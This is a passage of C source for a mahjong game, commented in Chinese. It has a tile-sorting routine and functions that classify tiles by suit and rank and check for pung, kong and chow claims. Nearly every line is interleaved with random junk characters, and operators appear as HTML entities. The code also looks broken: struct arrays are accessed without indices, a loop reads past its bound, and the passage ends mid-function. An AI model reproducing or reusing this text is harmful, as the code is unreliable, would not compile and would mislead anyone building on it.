}) V$ |0 s# [9 ?8 Y$ ]( x/ Z$ s
}  L' [. ]5 f  Q7 w
}
: N. V8 u8 d& b  L4 S  y% [8 tvoid melipai()
. E$ _8 X8 R: c4 w4 g+ F3 [{ int n,j,u;
/ z- a2 n: w) Q3 i2 [, Wint *lingshi;1 r, Z; `9 p; U9 L6 v4 Z
for(n=0;n&lt;me.m;n++)
7 ?7 s8 ^2 f7 E# K$ V. Kfor(j=n;j&lt;me.m;j++)
6 n- G' _5 f8 E* S" h, q( n. k{& n7 c1 V, A- G4 q# a6 B; g! {
if(me.pp[n].number&gt;me.pp[j+1].number)
+ q0 {, E0 `/ n% m5 r7 F6 L5 L$ l{" ~3 k& k' g" y
lingshi=me.pp[n].k;
! @. u* A4 L; X% |me.pp[n].k=me.pp[j+1].k;( H, {- G% \: x# O1 u
me.pp[j+1].k=lingshi;) G8 R1 R6 H& P. e
u=me.pp[n].oneorfour;& e+ J# r. t* `) l
me.pp[n].oneorfour=me.pp[j+1].oneorfour;& M" p' m# y; v$ d# M
me.pp[j+1].oneorfour=u;7 a# v4 v% E/ ?6 A- Z! t- C' d
u=me.pp[n].number;
: e+ E- n9 J  M9 ime.pp[n].number=me.pp[j+1].number;' U/ y: o/ V$ @6 C2 P2 r
me.pp[j+1].number=u;- S; ^' d6 f3 V$ p
}
, U" T5 W  }, o  ^' f$ g2 |+ A  H* welse: s( Z, }; s, a7 X! [% O# m
if(me.pp[n].number==me.pp[j+1].number)
. i/ [; K( q5 }; Wif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)) {$ l. p, B1 R+ N$ P
{: ~/ t) u& d9 p8 v' `. p
lingshi=me.pp[n].k;
: \4 m9 G. `& J( S. a1 ?) K; f& mme.pp[n].k=me.pp[j+1].k;' ^0 ~- Y  ]3 }. b6 Q) f9 y1 ?
me.pp[j+1].k=lingshi;
& p8 C/ r: M: U4 a4 ru=me.pp[n].oneorfour;
4 K6 I, ?1 ?% i1 x* c9 pme.pp[n].oneorfour=me.pp[j+1].oneorfour;
  v4 K+ x2 z; x" `% ?me.pp[j+1].oneorfour=u;
5 P% `* {& Q4 y, ^u=me.pp[n].number;
. h. Z. }& C1 b+ g. Nme.pp[n].number=me.pp[j+1].number;
: Z1 ?2 C. D" b- j6 |me.pp[j+1].number=u;
; g. W2 H6 E4 i3 u6 @/ e, r}
' Y; a+ t# {* {; L- b1 g5 V- \) S9 ~}
2 C1 T9 O, P2 _  k$ i7 r6 o9 g% \}. M( @& h1 W& B, F# b
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/  H. }  h, A. p- m0 a" X' a4 `
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;3 T4 x6 H$ R( C
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
. G4 r% K3 p$ T# o' ]{
. a0 q* J6 Z8 m3 y* m7 `6 K: i# }logo=1;5 l! i0 }- q' y4 X7 I: W- n' ]# k4 R
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
6 C6 b6 J, Q7 V4 q9 `logoo=1;
3 g( b) U! Z7 Z  Xelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
; H5 Y. U5 M! ~* S8 e# C+ Alogoo=2;
. i" |& G: S8 Q9 @' v) melse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
4 G6 v7 L4 e; h. L( p" l  Qlogoo=3;4 G6 k+ O  i' z, y) V3 ~3 G/ J
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
- F: c. k' x& ?! B1 Rlogoo=4;+ C4 p7 L- M: i2 Q, `' f( @
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
5 M: Z3 e) Z4 F* Jlogoo=5;2 v7 `% G3 D- u4 j
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)' X$ S& H% U' X' `
logoo=6;, H" c! `- \! X# N
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
' j+ z2 m: ]  mlogoo=7;) U3 e, s& J8 U5 d
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
; {' X% p9 j$ v$ Rlogoo=8;7 Y7 y. Y) K: ~& v8 Q/ f7 N: [
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)3 \, Z9 a& o' b3 N$ F5 j
logoo=9;
. I, u. B1 x: F) \) y" {}
& l6 Z" ~- x4 ]: x6 t9 R, Yelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
" o, @; S- w1 Q. N, p{
4 P- I3 ~( L6 j5 @( V% }logo=2;0 p9 M: b. A2 s* n2 K
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
& z" A! k5 Z7 r; M! flogoo=1;
( Q! q1 |' G7 Selse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
8 j2 A8 ?+ Z- B7 `logoo=2;
7 ^. v/ G' s) [- j! Yelse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)1 M* Z. v0 y) B  X
logoo=3;6 o, ]# M5 Y; K# i7 U4 h( K
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)" j4 H7 K9 R. V+ V
logoo=4;. c8 p& U+ H3 S! V$ g
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
' f5 ^8 ]- f& P( g( |1 _logoo=5;
/ z# k$ q- W1 Gelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
/ t- j- N# ~: i/ Y& A2 V. Hlogoo=6;$ T. C, \2 B& I" S
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
' v% {% c/ h9 `- w4 i6 f/ nlogoo=7;
) u# }4 Z$ T% s& C2 ]  F% c) zelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
: M5 Q6 V+ `, R. flogoo=8;
4 ~1 |6 Y! S3 Velse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
/ h8 P/ D3 z0 E! a7 Dlogoo=9;, D7 |& `  q8 [0 {
}
5 _3 }* U% W7 Kelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
7 ^; \; o; ~3 |1 C; L3 O{
$ G/ i* C- ~- X3 alogo=3;
  Z4 s% }7 F: sif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
6 f  A1 e4 p7 E4 {6 @- e" G' Nlogoo=1;
# J5 B1 d, \& n8 ~8 H, n0 ^else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
( Q% B, J5 r# s8 C" e2 L5 g9 O1 Xlogoo=2;
; ~: w* }" d6 M, Z9 r' Selse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)1 v2 x8 U8 ^+ E8 z7 h( l6 e
logoo=3;! E  I* V& P; J
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
0 \, v, _4 ^$ P0 Tlogoo=4;
* L# v: J: d' ?6 ?else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
, x  S/ c+ U* v& y" c9 t3 klogoo=5;9 w& a: N% X, m% ~+ \8 D
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
+ v6 K# q( P  g# clogoo=6;& P  ?: H" c- b) u) m
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
, T" \" J# B0 I9 h6 Mlogoo=7;- J: G& p8 r3 C. q9 \* h: i/ N
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
# }% U& {1 {( C1 }6 z( Blogoo=8;$ ^& p8 z! Y3 `( D. O3 G8 ?, L
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
3 P6 E7 c7 f; y4 i7 [( Ylogoo=9;* g7 K4 k# Z2 a) \# C+ |
}
8 P% h# {3 l* H) A+ kelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
7 H  q- C+ h( l  ?6 X7 J. b3 V{
  m2 j, B' D+ o* l$ }; Vlogo=4;
2 ?  z  G* p6 }1 W; q3 wif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
: V! K6 N' B  _- M9 G. c7 `logoo=1;& ^* [; F1 X* ?- I/ w
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)( b% e% b/ w$ T) A8 N
logoo=2;
. [' f& r, w; P  I' o6 Xelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)! q( J' ]6 s3 t6 @0 \
logoo=3;
( S4 u' }  {6 w  celse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
& X9 P$ d8 g) w: l& slogoo=4;
5 I! Y, ^( I. N) U3 _5 [) Helse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
; S" c: p' e! C. a7 U  \logoo=5;. S- H+ P; i6 B2 C* O9 p2 I, h* N
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)* Z. n. f- y0 A& {8 X
logoo=6;' ]6 U- a& D3 {/ a8 a% N: R" {, i. O
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)7 d/ H, W' u( h/ k' |
logoo=7;
4 ]2 z# G1 Y: P  q) [}
& ^( J3 \/ d+ O! Jwhile(b&lt;=computer.m)
% w: B% p5 D: J0 Z2 N{
: v7 I# i, k" c/ N- R" W2 aif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
/ j0 t+ O- Q3 _{
8 _7 \" k5 y: B0 A* @( G( ^! flg=1;3 I) f, h- b0 w' b9 r
computer.pp.d[0]=1;
- p: P/ U1 S# I) Uif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
- L+ t+ H( w4 i2 J) U- R6 F4 b{
; v  G( j! C, Y; o: t2 `! @' u* wlgg=1;
! ]% [3 _4 q9 ^0 ]2 x0 N& m) Acomputer.pp.d[1]=1;( ]+ }4 ?' h: {0 p
}
& F' [# z- g: n2 xelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)4 x1 W2 v4 t( S: ?: H8 p& \1 q
{
5 Y8 C/ |5 [- U5 q( y/ ylgg=2;8 [' E7 A: a% ^8 T$ A
computer.pp.d[1]=2;) e, h, V* O! [; L" t) B
}
5 o2 f6 N% X1 Pelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)& x" x1 C) x' Z6 g% L6 D
{
, D4 S3 Y, G; L: y( blgg=3;& v5 c4 u7 A: C( c- j: A: }
computer.pp.d[1]=3;
; G! K( n% T8 i}
: [' u7 s5 l' p6 a2 N, [* B' q0 Oelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)" f0 R6 U* \1 t0 h9 a9 {# o- m  f1 b
{4 N' p7 x1 K4 u: [2 k; c
lgg=4;5 @$ ]" y2 e# @( M6 G8 B, i9 _
computer.pp.d[1]=4;, \  c, R6 D% P3 F" I" Z6 u
}. w1 k: \2 l, t" w7 O2 c
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)/ F5 J. v: [4 Z3 _( S! y- k4 a
{
/ E2 _# Z4 T2 H: hlgg=5;
, {0 y  j1 }+ Q/ l" tcomputer.pp.d[1]=5;
1 F- x1 B/ C8 f}
8 {  h/ I2 v2 S, \1 gelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)8 v' p) x% ~9 Z* a. C
{
- e0 A" \8 O2 \# j9 e" @9 Slgg=6;6 g0 G( E( _; q% p
computer.pp.d[1]=6;
1 [! }2 C( P; n% ^  P' Y}1 a% \& M% A2 ^! J1 D9 z
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)3 J* h. B! \9 z: _2 m# B
{
" X" R" U" I0 N0 q8 @lgg=7;7 `0 a& w# ^: c$ {: g6 u+ E
computer.pp.d[1]=7;! T  Y. d! p; f$ \$ m/ m* c
}1 ?: l% r$ @) q+ {
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)* s1 d! U5 ^% Q/ G
{
& r) Y: w8 ^: E. _, l; Y) _: Jlgg=8;
5 @: f  x0 I) Scomputer.pp.d[1]=8;; n1 S8 P- D" D6 x
}
% x) J" h: E; Z5 v( [! d5 M9 Uelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)# W$ _, M+ v& c' R
{( I/ {9 E* x6 w
lgg=9;! q3 t" z9 o$ c; y, |$ \
computer.pp.d[1]=9;3 U- B$ s2 v/ l; R; P
}) I' V! i3 U& L; G0 g) X  ?5 P- [
}. w" e0 V! ~- e8 ^: r
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)2 |; i' t0 t% Y! t! a/ r4 b5 _
{
# T4 F  l1 x; L. i$ _; Qlg=2;4 b& n6 b5 s# r: D: e( x  w& B
computer.pp.d[0]=2;
3 n7 d7 J9 t( P; O- F% nif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
) U2 e; Z+ Y5 p2 }9 j{/ }2 X6 R! v2 z0 U) a; Z3 |: v' ?, s
lgg=1;! t+ l( T  W/ z# }, g) k- U3 a) b
computer.pp.d[1]=1;
5 Q, @: C6 k0 w$ x" ]}
0 V7 [7 D7 B, M9 u' G& W& xelse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
* ?5 H  i9 k8 [( O( |{) X! \7 y4 x$ f
lgg=2;+ e, @; @4 t5 n' @4 V  @
computer.pp.d[1]=2;. i; t) Y/ p8 c; T
}
9 j- Q/ ~# t6 O% U+ ~# E  _5 {else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)' r& M/ Z5 o3 S) q
{
! I' A" D% R: ^lgg=3;
3 u) t/ [8 l( v0 I- [+ G) x3 @: U5 ycomputer.pp.d[1]=3;
, s1 s9 y/ j; \2 D" s}
, h( S' I) M4 belse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)+ `* c7 Y. U$ I( J  V" b1 l
{
: A  a* K/ E. m# E0 U; wlgg=4;2 C' x/ [; X. |
computer.pp.d[1]=4;
5 y1 G) Z: v2 K( s5 r# G}
& T" M: Z$ h) telse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)7 B7 |" k# t6 U9 D
{( R: \2 |* i: N2 m$ y; P. V0 L! y
lgg=5;
; y& X4 N! w+ H4 ?computer.pp.d[1]=5;/ }4 |( E9 L5 z9 r0 k4 K
}
) [1 t" L# C  r: k2 x! W2 s3 t& welse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
( G% K7 J- D5 ^" F+ }0 M1 I. L& d{
! W1 u" q; e8 o' E7 z: qlgg=6;1 Y! f6 x  i" Z5 z" l9 m/ V
computer.pp.d[1]=6;
1 X& E% V. R4 C) d, ]) K6 ^2 r}
$ u  a+ ~) k5 q3 w5 k* K: Qelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)* A5 I' m5 V7 T1 B+ y
{
9 |9 A4 J5 w. p8 C* jlgg=7;' O+ W; [& t/ u( q5 G
computer.pp.d[1]=7;2 o+ W9 z( N5 p, a- l/ L0 q6 V
}1 |2 r+ u; I2 |& V# ~# q
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
! ~! R2 p+ w& T& p! Y. e" P{5 A, {$ {6 u* a3 b- y8 F
lgg=8;
# G% p" U3 h) N# lcomputer.pp.d[1]=8;
5 }! o* M! Y1 m% i}% I7 _. F. E+ F3 B: j
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
5 P+ Q! T+ N/ C7 P' x: a{. H+ Z  P9 ?, b' Q& |5 }
lgg=9;' Z5 w3 z: p5 ^! G  P
computer.pp.d[1]=9;
1 R! [' H  _: E9 Q}/ k  c. \& l: a$ I8 W7 K
}3 ?) }8 [: u) ^- x$ \# r
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
4 U- @+ ^9 ^5 g5 ]3 _/ k, j+ s{# S2 P2 n# W4 d# h! p* \, Q
lg=3;+ o( |3 m/ ?2 P/ V$ L+ A( j3 i
computer.pp.d[0]=3;  @" x1 W% n* F( D
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)/ J$ R4 E3 ^! {5 z
{) }5 Z5 j- T0 K9 B5 x; A
lgg=1;
8 i: [. q! F" \# r- [1 pcomputer.pp.d[1]=1;/ r, H' T# }. s4 |
}9 q# f# a1 R4 ~# ]1 ^; D% {
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)( w/ |9 w* P& Q; j& k
{
8 w5 K: v4 z" Plgg=2;- U* J3 W* R4 w. ~! M% j* u% ^
computer.pp.d[1]=2;
& s& \. d7 r3 I9 f}# }; w7 Q2 @8 T, F0 {
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)7 Y) f$ q' G9 {8 e; \! @
{* e6 j' ~- d5 k* d8 ^. V! ]
lgg=3;
; `6 p* S1 R0 A2 }1 c( Wcomputer.pp.d[1]=3;
; j2 u3 d" Y' v% B2 t  @' a}
  E7 L) |( `" q4 Celse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
4 I; E9 X1 U( O( k' j) \9 l{
6 x6 g6 k1 ~* p0 ~! Q, Q  Rlgg=4;, I9 K4 p* t& d7 i
computer.pp.d[1]=4;
/ {: l  S5 ]* z/ {4 [  t# y7 U% |}
, ?( {+ p+ I7 k: q6 Telse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88). [' x. v4 E9 ^) C, _& v
{( u  \5 {. v) Q) Y  O
lgg=5;+ z; g% S' M3 [" n
computer.pp.d[1]=5;5 y4 |& D1 K: `+ p6 D' K: q
}
. u2 a& j6 E9 I, v. Telse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
, ]  g1 m  u6 a" q" L{
% W! x2 V& `! a  H+ C) glgg=6;
; F, b( u, U  w6 n/ Qcomputer.pp.d[1]=6;
! i9 d, B6 _3 i" [0 [}
* z$ [7 |6 c4 ~else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)6 j3 @: v; p! d6 p9 X6 S
{
' U2 z# }! y5 v1 U3 zlgg=7;! e) ?7 g4 H& Z
computer.pp.d[1]=7;% g5 L6 l4 t8 t. w. A  L
}
& V8 ~2 S+ j2 Z! _4 h9 @else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)' q( }0 h+ D$ [. l
{
; v) l, Z4 k4 e) F6 algg=8;1 C  K  L5 }" \; n7 _5 q# j
computer.pp.d[1]=8;
/ s7 l8 D; s$ _# F9 `}
1 D- w- r; }; X: O' b$ m- Q% oelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)6 e/ t2 E' @8 g, O; i3 F, f  R% v5 O
{  A2 j) N8 R2 H. W: H) h) v( X
lgg=9;
$ N% {* ^8 C8 E0 _7 T  [. Y! H  ocomputer.pp.d[1]=9;
1 H% M: Q) k4 L. l}
7 q# [6 H( e% E3 s' \/ w$ p5 |}' p# Z! C- J$ R5 D; G! b
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
9 p) S- Y6 \/ e4 q{7 h. p& U5 `6 V3 ?/ z! X
lg=4;
+ }8 Z0 n5 j- Bcomputer.pp.d[0]=4;
, v: M9 ~2 ~; y' M- ~: k) a  Yif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
4 G  a4 ?9 U6 R( q{1 E" j8 X' m) ^0 M( _
lgg=1;
/ ?/ \3 q. X7 ?& i, q- y& Fcomputer.pp.d[1]=1;" e! x4 P! ~: a' G
}
' I: B0 @* H' F2 K9 }6 A2 b8 r9 O* e- belse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)3 V+ ^! ]0 @+ R5 @+ b( i
{$ ]$ P' Q+ Z+ s) q/ s9 N
lgg=2;
. V# R; n; @* [" |computer.pp.d[1]=2;7 L8 r* R) a! ]# t
}# Z+ a2 y" Z1 ]6 K" @# D5 r( o
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
; ~* U6 D, {+ t3 ?- @{
' U& j) q9 {! S8 `" X1 ]/ T" T0 elgg=3;
5 L  I  C5 `3 N% s* Ncomputer.pp.d[1]=3;
+ X! r2 B& p0 }& b}
; u+ O4 I1 z' D7 P' r& {else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
0 r7 l: E$ e1 U% t5 j; @& |{
+ z6 T: @& t4 c9 _# @, w5 N7 Nlgg=4;. l/ o0 N& c! A" m* Y0 `$ _! m' z
computer.pp.d[1]=4;
3 g, B$ c8 H8 H( N}
# q+ P* A8 f5 Y* A) s. V( T2 B6 melse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)1 V! }; F3 _/ b+ D9 B. {
{% M" A6 U, [; F( X; T, L1 S
lgg=5;2 r* F3 D- T( P* o, ~" i
computer.pp.d[1]=5;
/ X6 e+ m9 c/ ^, p: g8 E}
! h( t1 J9 M% ?else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
5 I' v( r! {# g% B  Z6 y{
. H) T7 [) f* u4 \7 |, ylgg=6;
. s; T9 |4 F& i8 t* scomputer.pp.d[1]=6;; d: G& P( |3 D
}$ r3 a. q: W7 d: Z
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
$ S3 X3 o! O( J0 u9 f; \{$ P; b6 e% N1 T: {
lgg=7;7 g: [& ^, [; e: c' U
computer.pp.d[1]=7;
* p9 t" b' M: T4 v}
/ N  c% I! h- @  U0 D3 [& S2 {+ p}
, r. ~1 Y7 s% p- X5 C, J$ k: D: X. o0 J3 p6 T4 b
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/6 I3 l( [' t' m5 z$ \
if(logoo==lgg)! n" E/ b5 @" _2 O1 t6 J
pg++;
/ V# F- A" J! B; |) ^, `ch.lg=lg; /*保存电脑手里的每张牌的信息*/" `* e# V% H  u" ~. w/ _$ M+ n. [! u
ch.lgg=lgg;
: L  |3 N  V9 I& H; S, l$ t: }- olg=0;
2 @+ u6 Z) J. F7 Jlgg=0;3 g- q5 ]2 ?8 }4 N
b++;& p! K2 `- ^3 w1 v$ |$ t
}6 j2 x) Y% X" k3 T3 A1 C: g
if(pg==2) /*乓*/% b" q. b3 s  L4 o* n
{) i* h! x7 U# l0 V+ C+ i5 M

3 E2 Z. H6 k2 _: `  R( esing=1;! T3 S2 t( j! s  \8 E
b=computer.m;! {3 t- `7 y& y* s
while(b!=-1)
8 e! X' ~+ s7 Y{
& t# b( _) W# Sif(strcmp(me.pp[c].k,computer.pp.k)==0), o" k" N. N1 H: N" P
computer.pp.p=1;
' N6 [) J- s7 O
  t) u; \" ]8 d0 J0 c, A: Pb--;& O6 M: O6 j4 d$ w9 q9 l  A
}: l0 F- q( d% n
}* c- A! P: @7 f4 y, H+ {8 h
if(pg==3) /*杠*/; S" o6 p5 [( k: t0 D7 K
{: [/ y, A! r9 L# }

6 Z6 M7 B9 G) ?2 N: osing=2;; `$ \% }' p) p6 A7 ^9 j: k+ y, u
b=computer.m;; U" a+ v5 e; r1 k$ v3 w+ ?
while(b!=-1)
' X3 f8 r1 d$ k' }6 U{
. N) `- g" g; Q. |! b" Xif(strcmp(me.pp[c].k,computer.pp.k)==0)
# k' X- S$ `& X. O! h5 u$ _computer.pp.g=1;
5 q( t  O, _" V3 k0 j% Vb--;
. f; k" ?, j/ R2 R+ P- ~8 V* A}
+ a2 N! I" V1 k/ Z  U}
3 X0 J8 B# h2 Pf=0;! X& g; P+ a( S" |% v- s& H
while(f&lt;computer.m) /*吃的判断*/$ S4 o1 x3 b0 T" f
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)( s6 V, V! l' {( c
{" ?0 A. S1 ]0 ]! @$ B
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/6 Q2 B  ~6 N. j8 t$ U  `7 z5 ^
if(ch[f].lgg-logoo==1)1 {4 R- W2 Y" o; M
{  L9 e7 W) H3 ?( A$ }
gp++;4 @  R- V  q* r; A% c! Y' O
computer.pp[f].c=1;( F& p7 R5 @* O: N! ]' K* y1 B
computer.pp[f+1].c=1;
& Y& b; X- V) O8 Y7 t. @4 V! }}$ \8 ~( ~/ b$ Z7 r: J8 q
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/8 p" E9 Z" k6 E; Y
if(ch[f+1].lgg-logoo==-1)
' |* V" L2 L, J{, b/ i9 x- Y! W- q( s
gp++;% N6 l' m7 \& |" o& ^7 W) {* m
computer.pp[f].c=1;6 c$ m5 A2 l. O& A( G' H
computer.pp[f+1].c=1;; k1 U  Y" B  u+ L( ~! G; ^
}% A7 {) y% q; _" g( Q
if(ch[f].lgg-logoo==-1) /*中吃*/( w! p2 }2 X, J/ W4 q
if(ch[f+1].lgg-logoo==1)
. R9 L( {7 X" w! y/ B{
( S" L% b2 x/ o% agp++;- v9 t; E. G% V. j3 g6 {8 G
computer.pp[f].c=1;$ y- {3 X' U& j# B
computer.pp[f+1].c=1;
( M/ E8 G/ g- O. j) M; v" n) f}
; `  i1 C2 Y/ Fif(gp==1)
/ U! b: M2 Y: R# M2 {" [break;# J, A% M) Y) Z! ~2 Z. H
}
# v$ L3 g) k! m" ^& P3 ~3 i- Ef++;) \5 ~% X% E8 g* }3 O* M  h2 U
}
% D2 I. R, p, y# m( R3 sif(gp==1)
, E7 r: r* f  S' k5 r{sing=7;. b7 j$ p: z% g- v( S( R

' k5 |; P( a) I; q/ c$ q}
- E, r9 o8 m9 V$ y+ A) t3 bpg=0;
2 n7 e. H4 N- |0 v  Xgp=0;3 t" H2 i" t* u# [) H$ v
b=0;
$ C5 @* ], V' ]/ `) B4 u}
. g- E' v8 R$ t5 d- Mvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
, z3 k" f. b1 z3 I# v. D{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;9 F% s2 ^" X6 u- c( t7 s/ c0 N! x
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
% R+ u8 c" Q! E4 K{
; o! N& \; t" Alogo=1;/ `# K6 V: h5 o, W0 M
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)" R9 x% B5 _5 s
logoo=1;
+ f$ [; l$ I  \+ M9 ~* E5 Xelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4). ^  s. [$ b+ v6 f) ^3 z/ G% s
logoo=2;
, a( A( D3 W/ p8 W2 `9 xelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
! m; e% ?5 a0 N: ylogoo=3;
% P, T' m& R5 L; E& _+ W, r  Lelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
" S; Q" R( V- t7 U3 F% ^: R4 M7 glogoo=4;2 j& N  M0 G0 N: z3 Q
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
, `: K, R" m! m! @6 f$ q1 zlogoo=5;
/ ]9 [, A* \* }9 c; celse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)9 E: c/ G" Z6 }, \3 P& [) E
logoo=6;
5 i# C& X3 h) F5 s# u6 V9 e0 ^1 G# [else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
8 w/ M, g* s% q& r% D2 _logoo=7;
5 Z# H' k( L3 Felse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)5 L, n' p2 e5 ^, w) n+ z
logoo=8;2 @* n+ @7 |1 r% n* [- }
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32), r( o- M: B$ h
logoo=9;/ n: W; {" \0 D% l* m1 N" k
}4 p; Y* \6 l' f
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
3 N$ K, {0 }( D: Z9 }" Y4 f/ h2 B{
" f' f5 u( i9 Q- u3 ylogo=2;
7 e+ T' t$ P4 h6 u3 m7 m) i, [if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
7 C7 ~  K) V! ?  H5 [+ Ilogoo=1;( S! d* J3 q, O% n
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
9 {" S; V: i" p/ y. O: }/ O$ F' ]logoo=2;: R- i+ X$ Q1 F0 {7 s. }( W
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
- ]6 d+ O5 }/ D0 r5 e( Slogoo=3;
* x% G/ Z& f, [: e1 H6 Q& [else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)! B. ~! w7 ?- x  Z8 H
logoo=4;8 N4 T$ L) G5 e( h" \0 `
